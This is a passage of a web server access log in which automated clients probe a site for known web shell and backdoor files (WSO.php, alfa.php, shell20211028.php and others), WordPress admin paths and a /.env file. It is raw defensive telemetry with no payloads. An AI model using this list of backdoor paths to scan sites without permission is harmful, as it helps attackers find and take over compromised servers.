[09/Sep/2026:15:26:53 -0700] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 200 12115 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:54 -0700] "GET /wp-content/uploads/ HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:54 -0700] "GET /wp-includes/assets/admin.php HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:54 -0700] "GET /wp-includes/images/ HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:54 -0700] "GET /.well-known/classwithtostring.php HTTP/1.1" 200 12101 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:55 -0700] "GET /anonse/lock360.php HTTP/1.1" 200 12098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:55 -0700] "GET /cgi-bin/wp-login.php HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:55 -0700] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 200 12102 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:55 -0700] "GET /wp-content/themes/about.php HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:56 -0700] "GET /wp-content/uploads/2021/ HTTP/1.1" 200 12099 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:56 -0700] "GET /wp-includes/html-api/ HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:56 -0700] "GET /assets/images/doc.php HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:57 -0700] "GET /ioxi-o.php HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:57 -0700] "GET /radio.php HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:57 -0700] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 200 12101 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:57 -0700] "GET /wp-admin/includes/cloud.php HTTP/1.1" 200 12100 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:58 -0700] "GET /wp-admin/includes/index.php HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:58 -0700] "GET /wp-admin/js/widgets/ HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:58 -0700] "GET /wp-content/ HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:58 -0700] "GET /admin.php HTTP/1.1" 200 12082 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:59 -0700] "GET /functions.php HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:59 -0700] "GET /modules/ HTTP/1.1" 200 12081 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:59 -0700] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:27:00 -0700] "GET /admin/upload/ HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:27:00 -0700] "GET /ccx/index.php HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 198.235.24.67 - - [09/Sep/2026:16:58:29 -0700] "GET / HTTP/1.1" 200 38993 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 89.6.72.174 - - [09/Sep/2026:17:24:49 -0700] "GET /wp-login.php HTTP/1.1" 200 7489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" 54.204.56.173 - - [09/Sep/2026:20:38:19 -0700] "GET /.env HTTP/1.1" 404 48324 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:23:51 -0700] "GET / HTTP/1.1" 200 12066 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:23:52 -0700] "GET /wp-includes/ID3/index.php HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:23:52 -0700] "GET /wp-includes/fonts/ HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:23:52 -0700] "GET /wp/wp-admin/includes/ HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:23:53 -0700] "GET /wp-admin/admin-ajax.php HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:23:53 -0700] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 200 12097 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:23:54 -0700] "GET /wp-admin/js/about.php HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:23:54 -0700] "GET /wp-admin/network/ HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:23:55 -0700] "GET /wp-includes/customize/ HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:23:55 -0700] "GET /WSO.php HTTP/1.1" 200 12078 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:23:55 -0700] "GET /wp-includes/css/ HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:23:56 -0700] "GET /templates/beez3/error.php HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:23:56 -0700] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 200 12101 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:23:57 -0700] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 200 12097 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:23:57 -0700] "GET /wp-includes/css/dist/ HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:23:57 -0700] "GET /wp-includes/images/crystal/ HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:23:58 -0700] "GET /wp-admin/css/ HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:23:58 -0700] "GET /wp-admin/wp-conflg.php HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:23:59 -0700] "GET /wp-includes/ID3/file.php HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:23:59 -0700] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:23:59 -0700] "GET /admin/uploads/ HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:00 -0700] "GET /wp-content/cong.php HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:00 -0700] "GET /wp-includes/ID3/ HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:01 -0700] "GET /wp-includes/images/media/ HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:01 -0700] "GET /wp-admin/admin.php HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:02 -0700] "GET /wp-content/languages/chosen.php HTTP/1.1" 200 12097 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:02 -0700] "GET /wp-content/plugins/ HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:03 -0700] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 200 12101 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:03 -0700] "GET /goods.php HTTP/1.1" 200 12082 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:03 -0700] "GET /plugins/ HTTP/1.1" 200 12079 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:04 -0700] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:04 -0700] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 200 12100 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:05 -0700] "GET /cgi-bin/wp-2019.php HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:05 -0700] "GET /wp-admin/setup-config.php HTTP/1.1" 200 12097 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:05 -0700] "GET /wp-content/file.php HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:06 -0700] "GET /edit.php HTTP/1.1" 200 12082 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:06 -0700] "GET /file5.php HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:07 -0700] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:07 -0700] "GET /wp-admin/ HTTP/1.1" 200 12079 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:07 -0700] "GET /wp-includes/ HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:08 -0700] "GET /aa.php HTTP/1.1" 200 12081 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:08 -0700] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 200 12103 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:09 -0700] "GET /wp-includes/blocks/ HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:09 -0700] "GET /wp-content/index.php HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:10 -0700] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:10 -0700] "GET /.well-known/ HTTP/1.1" 200 12080 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:10 -0700] "GET /modules/file.php HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:11 -0700] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:11 -0700] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 200 12103 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:12 -0700] "GET /autoload_classmap.php HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:12 -0700] "GET /public/index.php HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:12 -0700] "GET /wp-admin/network/index.php HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:13 -0700] "GET /wp-content/uploads/2022/ HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:13 -0700] "GET /wp-content/uploads/json.php HTTP/1.1" 200 12103 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:14 -0700] "GET /wp-includes/SimplePie/ HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:14 -0700] "GET /wp-includes/customize/chosen.php HTTP/1.1" 200 12099 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:14 -0700] "GET /wp-includes/shell20211028.php HTTP/1.1" 200 12097 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:15 -0700] "GET /index/function.php HTTP/1.1" 200 12080 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:15 -0700] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 200 12097 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:16 -0700] "GET /wp-content/style-css.php HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:16 -0700] "GET /wp-includes/Requests/ HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:17 -0700] "GET /wp-includes/pomo/ HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:17 -0700] "GET /file.php HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:17 -0700] "GET /wp-admin/css/colors/light/ HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:18 -0700] "GET /wp-includes/certificates/ HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:18 -0700] "GET /wp-admin/css/colors/index.php HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:19 -0700] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 200 12098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:19 -0700] "GET /wp-content/alfa.php HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:19 -0700] "GET /inputs.php HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:20 -0700] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 200 12098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:20 -0700] "GET /wp-content/about.php HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:21 -0700] "GET /1.php HTTP/1.1" 200 12081 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:21 -0700] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:21 -0700] "GET /wp-admin/images/index.php HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:22 -0700] "GET /wp-includes/block-supports/ HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:22 -0700] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 200 12098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:23 -0700] "GET /wp-content/upgrade/ HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:23 -0700] "GET /wp-admin/images/cloud.php HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:24 -0700] "GET /wp-admin/user/ HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:24 -0700] "GET /wp-admin/user/chosen.php HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:24 -0700] "GET /wp-content/admin.php HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 